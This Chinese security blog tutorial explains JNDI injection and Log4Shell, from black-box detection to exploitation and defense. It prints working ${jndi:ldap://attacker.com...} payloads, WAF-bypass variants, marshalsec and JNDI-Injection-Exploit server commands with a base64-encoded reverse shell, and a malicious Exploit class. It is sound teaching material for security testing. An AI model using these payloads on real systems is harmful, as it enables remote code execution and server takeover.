Java漏洞黑盒实战深入剖析JNDI注入

网络安全 潘老师 2周前 (04-07) 12 ℃ (0) 扫码查看

JNDI注入是一种ava应用安全极具威胁的漏洞类型。对于安全从业者而言,深入了解其原理、掌握在黑盒环境下的检测与利用技巧至关重要。本文将围绕JNDI注入展开详细探讨,帮助大家提升对该漏洞的认知和应对能力。

一、JNDI注入原理

(一)核心工作逻辑

JNDI(Java Naming and Directory Interface)是Java提供的统一资源访问接口,它允许通过名称来动态加载远程对象,比如ldap://example.com/obj这种形式。当攻击者能够操控JNDI的查找地址时,情况就变得危险起来。例如,若攻击者能将恶意服务器地址拼接到InitialContext.lookup()方法中,目标应用就可能被诱导加载远程恶意类(像.class.jar文件),最终导致远程代码执行(RCE),这意味着攻击者可以在目标系统上执行任意代码,获取敏感信息或者控制整个系统。

(二)关键依赖条件

  1. Java版本限制:在低版本的Java环境中(JDK ≤ 8u191/11.0.1/7u201/6u211 ),远程类加载默认是开启的,这为JNDI注入攻击提供了便利条件。在这些版本中,系统的安全性相对较弱,更容易受到攻击。
  2. 未过滤的输入点:目标应用中存在未经过滤的输入点,并将其传递给JNDI接口,这是JNDI注入能够得逞的另一个关键因素。常见的未过滤输入点包括日志打印处、参数解析环节等。一旦这些输入点被攻击者利用,就可能触发JNDI注入漏洞。

二、黑盒环境下发现JNDI注入漏洞

(一)识别潜在的输入点

  1. HTTP相关参数:HTTP请求中的参数、请求头(Headers)以及Cookie都有可能成为JNDI注入的入口。比如,在username参数中输入${jndi:ldap://xxx},以此来测试是否存在漏洞。
  2. 文件操作功能:文件上传和下载功能也需要重点关注。攻击者可能会在文件名或者文件内容中嵌入JNDI Payload,尝试触发漏洞。
  3. API接口:在API接口接收的JSON或XML数据里,用户注册信息、订单信息等字段都可能存在风险,需要进行仔细检测。
  4. 日志上下文:像用户代理(User – Agent)、Referer等信息,若被Log4j2这类日志框架记录,也可能成为攻击的切入点,因为这些位置的内容可能会被攻击者操控。

(二)构造探测Payload

  1. 基础Payload:利用DNSLog回显是验证JNDI注入漏洞是否存在的常用方法。例如:
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://attacker.com:1099/exploit}

通过观察DNSLog平台上是否有对应的DNS请求记录,就能判断目标应用是否存在JNDI注入漏洞。
2. 绕过WAF的变形Payload:为了绕过Web应用防火墙(WAF)的检测,攻击者会采用各种变形技巧。例如:

${${lower:j}ndi:ldap://xxx}            // 大小写混淆
${jndi:ldap://127.0.0.1#.xxx.dnslog.cn}  // 利用URL解析特性
${jndi:ldap://127.0.0.1:1234/ Basic/Command/Base64/[base64-encoded-cmd]}

这些变形后的Payload可以增加攻击的隐蔽性,提高绕过WAF的成功率。

(三)借助工具辅助验证

  1. DNSLog平台:常见的DNSLog平台,如ceye.iodnslog.cn等,能生成临时域名。将这些域名嵌入到探测Payload中,然后观察平台上是否有DNS请求记录,以此判断漏洞的存在与否。
  2. Burp Collaborator:在Burp Suite工具中,有一个Burp Collaborator功能。利用它生成特定的Collaborator地址,并替换到Payload中。通过检查是否有HTTP或DNS交互,来进一步验证JNDI注入漏洞。

三、JNDI注入的利用步骤

(一)准备攻击环境

  1. 搭建恶意服务器:攻击者会使用一些工具快速搭建LDAP或RMI恶意服务。例如:
# 使用marshalsec工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass"

# 使用JNDI-Injection-Exploit工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1

这些工具可以帮助攻击者快速构建起用于攻击的恶意服务器环境。
2. 托管恶意类文件:攻击者还需要在Web服务器(比如使用Python的HTTP服务)上托管恶意的.class.jar文件。这些恶意类文件包含了攻击者想要执行的恶意代码。

(二)生成恶意Payload

  1. 简单命令执行Payload:为了实现简单的命令执行,攻击者会构造类似这样的Payload:
${jndi:ldap://attacker.com:1389/Exploit}
  1. 反弹Shell的Payload:反弹Shell是一种更具危害性的攻击方式,不过需要对特殊字符进行编码绕过。同样可以使用类似的Payload结构:
${jndi:ldap://attacker.com:1389/Exploit}

这里的Exploit.class恶意类文件代码示例如下:

public class Exploit {
    static {
        try {
            // 这里的命令经过Base64编码,实际执行恶意命令
            Runtime.getRuntime().exec("bash -c {echo,<base64-encoded-cmd>}|{base64,-d}|{bash,-i}");
        } catch (Exception e) {}
    }
}

(三)触发漏洞

攻击者将构造好的Payload发送到目标应用的输入点,比如HTTP请求参数、文件上传区域等。之后,攻击者会密切观察恶意服务器的日志,若看到类似[LDAP] Send LDAP reference result for Exploit redirecting to http://attacker.com/Exploit.class这样的记录,就说明目标应用可能请求了恶意类文件,漏洞被成功触发。

(四)绕过限制

  1. 高版本Java的应对策略:在JDK > 8u191的环境中,远程类加载默认是被禁用的。此时,攻击者可能会尝试利用本地类,像Tomcat ELProcessorGroovy等,进行二次攻击,寻找新的突破点。
  2. 应对上下文限制:如果Payload在传输过程中被截断或者过滤,攻击者会尝试分块传输Payload,或者使用编码混淆的方式,如Unicode编码、Hex编码等,来绕过这些限制。

四、典型案例分析:Log4j2的Log4Shell漏洞

(一)漏洞触发条件

当目标应用使用的Log4j2版本小于等于2.14.1 ,并且在日志记录过程中包含了用户可控的数据,比如HTTP请求头中的数据时,就可能触发Log4Shell漏洞。这是因为Log4j2在处理这些数据时,若遇到${jndi:ldap://...}格式的字符串,会触发JNDI解析,从而加载远程恶意类。

(二)攻击步骤

攻击者会将Payload发送到目标应用的User – Agent字段中,例如:

GET / HTTP/1.1
User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}

当目标应用记录这条日志时,就会触发JNDI解析,进而加载恶意类,导致服务器被攻击。

五、防御建议

(一)升级依赖

及时将Log4j2升级到大于等于2.17.1的版本,并禁用JNDI功能,可通过设置log4j2.formatMsgNoLookups=true来实现。这样可以有效避免Log4j2相关的JNDI注入漏洞。

(二)优化代码

在编写代码时,开发人员要避免将用户输入未经处理直接传递给InitialContext.lookup()方法,对用户输入进行严格的过滤和校验,从源头上防止JNDI注入攻击。

(三)加固环境

使用JDK大于等于8u191/11.0.1的版本,并设置com.sun.jndi.ldap.object.trustURLCodebase=false,以此来增强系统对JNDI注入攻击的防御能力。

(四)完善WAF规则

在Web应用防火墙(WAF)中添加针对JNDI注入的防护规则,拦截包含${jndi:<$%7Bjndi:<等模式的请求,阻挡外部的攻击请求。

六、总结

在黑盒实战中,发现JNDI注入漏洞的关键在于全面寻找所有可能的输入点,并借助DNSLog等手段快速验证漏洞是否存在。而利用JNDI注入漏洞的难点在于绕过高版本JDK的限制,这往往需要结合其他漏洞链来实现。在实际操作中,合理使用工具,如marshalsecJNDI-Injection-Exploit ,并巧妙运用混淆技术,同时优先在测试环境中验证Payload,这些都是非常实用的技巧。

此外,文中还列举了多个实际案例,包括Fastjson反序列化漏洞中的JNDI注入、Oracle WebLogic JNDI注入、Spring框架中的JNDI注入等,通过对这些案例的分析,大家可以更深入地了解JNDI注入在不同场景下的表现形式和利用方式,从而更好地进行安全防护和漏洞检测工作。


版权声明:本站文章,如无说明,均为本站原创,转载请注明文章来源。如有侵权,请联系博主删除。
本文链接:https://www.panziye.com/safe/16818.html
喜欢 (0)
请潘老师喝杯Coffee吧!】
分享 (0)
用户头像
发表我的评论
取消评论
表情 贴图 签到 代码

Hi,您需要填写昵称和邮箱!

  • 昵称【必填】
  • 邮箱【必填】
  • 网址【可选】